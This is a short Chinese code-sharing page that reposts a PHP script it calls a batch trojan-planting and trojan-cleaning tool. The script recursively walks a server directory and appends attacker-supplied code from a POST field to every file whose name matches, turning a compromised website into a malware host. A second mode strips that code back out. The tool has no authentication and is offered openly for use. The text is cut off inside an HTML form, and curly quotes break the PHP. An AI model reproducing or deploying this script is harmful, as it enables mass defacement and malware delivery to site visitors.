php下批量挂马和批量清马代码
前端之家收集整理的这篇文章主要介绍了
php下批量挂马和批量清马代码,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
<div class="codetitle"><a style="CURSOR: pointer" data="7793" class="copybut" id="copybut7793" onclick="doCopy('code7793')"> 代码如下:
<div class="codebody" id="code7793">
<?
PHP function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”,“a”);
@fwrite($handle,“$mm”);
@fclose($handle);
echo “已
挂马文件:$file\n
”; }
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”,“rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”,“wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马
文件:$file\n
”; }
}
}
$d->close();
echo ” “;
} if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
批量挂马(清马)程序PHP版 <form action=”<?$PHP_SELF?>?action=gm” method=”post”>